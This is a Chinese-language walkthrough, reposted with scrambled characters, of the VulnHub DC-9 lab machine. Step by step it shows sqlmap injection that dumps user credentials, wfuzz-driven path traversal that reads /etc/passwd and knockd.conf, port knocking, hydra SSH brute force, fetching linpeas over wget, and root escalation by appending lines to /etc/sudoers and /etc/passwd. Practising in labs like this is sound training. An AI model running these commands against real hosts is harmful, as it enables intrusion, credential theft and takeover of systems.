【vulnhub】靶机-【DC系列】DC9(附靶机)

 

本文做者:大方子(Ms08067实验室核心成员)php

主机信息

Kali:192.168.56.113python

DC9:192.168.56.112git

实验过程

先进行主机探测,查找靶机的IP地址:github

arp‐scan ‐‐interface eth1 192.168.56.1/24sql

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

用nmap对主机进行排查肯定,DC9的IP地址为192.168.56.112浏览器

能够看到DC开放了80端口以及22端口(被过滤)安全

nmap ‐sC ‐sV ‐oA dc‐9 192.168.56.112bash

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

因此首先从80端口入手,每一个网页都点开看看。看到这个搜索页面感受能够尝试下SQL注入cookie

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

这里咱们用Burp进行尝试,发现的确存在注入点网络

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

把请求信息导出为dc9.sqlmap,接下来用SQLmap进行遍历

python3 sqlmap.py ‐r C:\Users\DFZ\Desktop\dc9.sqlmap

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

而后接下来用sqlmap导出数据

python3 sqlmap.py ‐r C:\Users\DFZ\Desktop\dc9.sqlmap ‐‐dbs 
python3 sqlmap.py ‐r C:\Users\DFZ\Desktop\dc9.sqlmap ‐D users ‐‐tables
python3 sqlmap.py ‐r C:\Users\DFZ\Desktop\dc9.sqlmap ‐D users ‐T UserDetails ‐‐columns
python3 sqlmap.py ‐r C:\Users\DFZ\Desktop\dc9.sqlmap ‐D users ‐T UserDetails ‐C
username,password ‐‐dump
watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=
python3 sqlmap.py ‐r C:\Users\DFZ\Desktop\dc9.sqlmap ‐D Staff ‐T Users ‐C Username,Password ‐‐dump
watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

这里SQLmap直接帮我获得admin的密码明文(transorbital1)

管理员帐号:admin
管理员密码:transorbital1

附在线破解网站:https://hashes.com/en/decrypt/hash

咱们将全部的帐号,密码进行整理,分别整理到username,password(这里须要注意的是,只要管理员 的密码是须要解密的,其余用户的密码是明文)

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

用wfuzz进行批量登录查看页面反应,只有管理员的帐号是302 (ps:意料之中)

‐c:带颜色输出 ‐d:post参数 ‐z:payload ‐m:模式 zip迭代 字典和占位符一一对应进行遍历
wfuzz ‐c ‐z file,username ‐z file,password ‐m zip ‐d 'username=FUZZ&password=FUZ2Z' http://192.168.56.112/manage.php
watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

而后咱们用管理帐号进行登录

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

能够看到页面下面出现File does not exist的提示,感受颇有可能就是LFI(本地文件包含)

可是此时咱们并不知道参数是多少,这里一样用wfuzz尝试进行遍历(注意这里用把登录以后的 cookies也要写上,不然网页会提示你要登录)

查看cookies的话能够浏览器直接查看,也可让wfuzz把请求发给burp进行查看

#‐p:添加代理
wfuzz ‐p 127.0.0.1:8080:HTTP

字典地址:https://github.com/danielmiessler/SecLists

‐b:cookies ‐hw:隐藏指定字节数的结果 ‐w 字典文件
wfuzz ‐‐hw 100 ‐b 'PHPSESSID=oshc5jht0a15efnue128kdnn9n' ‐c ‐w 
/usr/share/SecLists/Discovery/Web‐Content/burp‐parameter‐names.txt 
http://192.168.56.112/manage.php?FUZZ=index.php

wfuzz ‐‐hw 100 ‐b 'PHPSESSID=oshc5jht0a15efnue128kdnn9n' ‐c ‐w 
/usr/share/SecLists/Discovery/Web‐Content/burp‐parameter‐names.txt 
http://192.168.56.112/manage.php?FUZZ=../../../../../../../../../etc/passwd
watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

这里咱们就找到参数file

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

而后咱们经过/proc/sched_debug 来查看Linux系统中任务的调度状况

http://192.168.56.112/manage.php?FUZZ=../../../../../../../../../proc/sched_debug
watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

整理查询发现靶机上运行这knockd

关于knockd的介绍

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

那么咱们读取下knockd的配置文件

http://192.168.56.112/manage.php?FUZZ=../../../../../../../../../etc/knockd.conf
watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=
[options] 
        UseSyslog
[openSSH] 
        sequence = 7469,8475,9842 
        seq_timeout = 25 
        command = /sbin/iptables ‐I INPUT ‐s %IP% ‐p tcp ‐‐dport 22 ‐j ACCEPT 
        tcpflags = syn
[closeSSH] 
        sequence = 9842,8475,7469 
        seq_timeout = 25 
        command = /sbin/iptables ‐D INPUT ‐s %IP% ‐p tcp ‐‐dport 22 ‐j ACCEPT 
        tcpflags = syn

这里提供2种敲击方法:nc、nmap

for x in 7469 8475 9842;do nmap ‐Pn ‐‐max‐retries 0 ‐p $x 192.168.56.112;done 
for x in 7469 8475 9842 22 ;do nc 192.168.56.112 $x;done
watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

此时SSH就能够正常链接,接下来咱们用hydra来进行爆破,用户名和密码就是咱们先前SQL注入得到的

hydra ‐L username ‐P password ssh://192.168.56.112
watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=
[22][ssh] host: 192.168.56.112 login: janitor password: Ilovepeepee 
[22][ssh] host: 192.168.56.112 login: joeyt password: Passw0rd 
[22][ssh] host: 192.168.56.112 login: chandlerb password: UrAG0D!

而后咱们对这几个帐号都尝试进行登录

ssh janitor@192.168.56.112
watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

只有janitor的家目录存在一个名为.secrets-for-putin的文件夹,而且在其中又获得一些密码

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

咱们把这些密码加入到password文件中

同时咱们在janitor使用LinPEAS来探测下可利用的点

下载地址:https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite

如今Kali上开启HTTP服务

python3 ‐m http.server 80
watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

而后在靶机上进行下载

wget http://192.168.56.114/linpeas.sh
watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

而后运行以后,感受并无什么特别的点

bash linpeas.sh
watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

再使用hydra使用刚刚更新过的password文件进行SSH爆破,能够看到多了一个fredf用户

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=
[22][ssh] host: 192.168.56.112 login: fredf password: B4‐Tru3‐001 
[22][ssh] host: 192.168.56.112 login: janitor password: Ilovepeepee 
[22][ssh] host: 192.168.56.112 login: joeyt password: Passw0rd 
[22][ssh] host: 192.168.56.112 login: chandlerb password: UrAG0D!

而后登录到fredf帐号,查看下fredf的sudo权限,能够看到fredf能够不用密码以root权限执 行/opt/devstuff/dist/test/test的文件

sudo ‐l
watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

/opt/devstuff/dist/test/test是一个可执行文件,执行后出现下面的提示,应该是一个python脚本转化为的可执行的文件

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

能够在上级目录找到同名的 test.py 而后cat下内容,应该是由这个文件编译过来的

脚本的做用就是将第一个文件的内容附加到另外一个文件里面去

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

这样提权就变得很是简单,这里提供2个提权的思路

提权思路1:往/etc/sudoers里面添加内容,让用户能够以root的权限去执行命令

建立/dev/shm/sudoerAdd,内容以下

joeyt ALL=(ALL) ALL

而后执行

sudo /opt/devstuff/dist/test/test /dev/shm/sudoerAdd /etc/sudoers
watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

而后登录joeyt,而后切换成root身份,get flag

提权思路2:添加一个新的用户到/etc/passwd,而后新添加的用户登录

这里用Openssl来对密码进行加密,在进行编辑输入到/tmp/new-passwd

openssl passwd ‐1 ‐salt 123456 dfz
dfz:$1$123456$1VU0YpuL7WOQvLLyYTbbv1:0:0:root:/root:/bin/bash
watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

而后把/tmp/new-passwd写入到/etc/passwd

sudo /opt/devstuff/dist/test/test /tmp/new‐passwd /etc/passwd
watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

靶机下载地址:http://www.five86.com/downloads/DC-9.zip

转载请联系做者并注明出处!

Ms08067安全实验室专一于网络安全知识的普及和培训。团队已出版《Web安全***:***测试实战指南》,《内网安全***:***测试实战指南》,《Python安全***:***测试实战指南》,《Java代码安全审计(入门篇)》等书籍。
团队公众号按期分享关于CTF靶场、内网***、APT方面技术干货,从零开始、以实战落地为主,致力于作一个实用的干货分享型公众号。
官方网站:https://www.ms08067.com/

相关文章
相关标签/搜索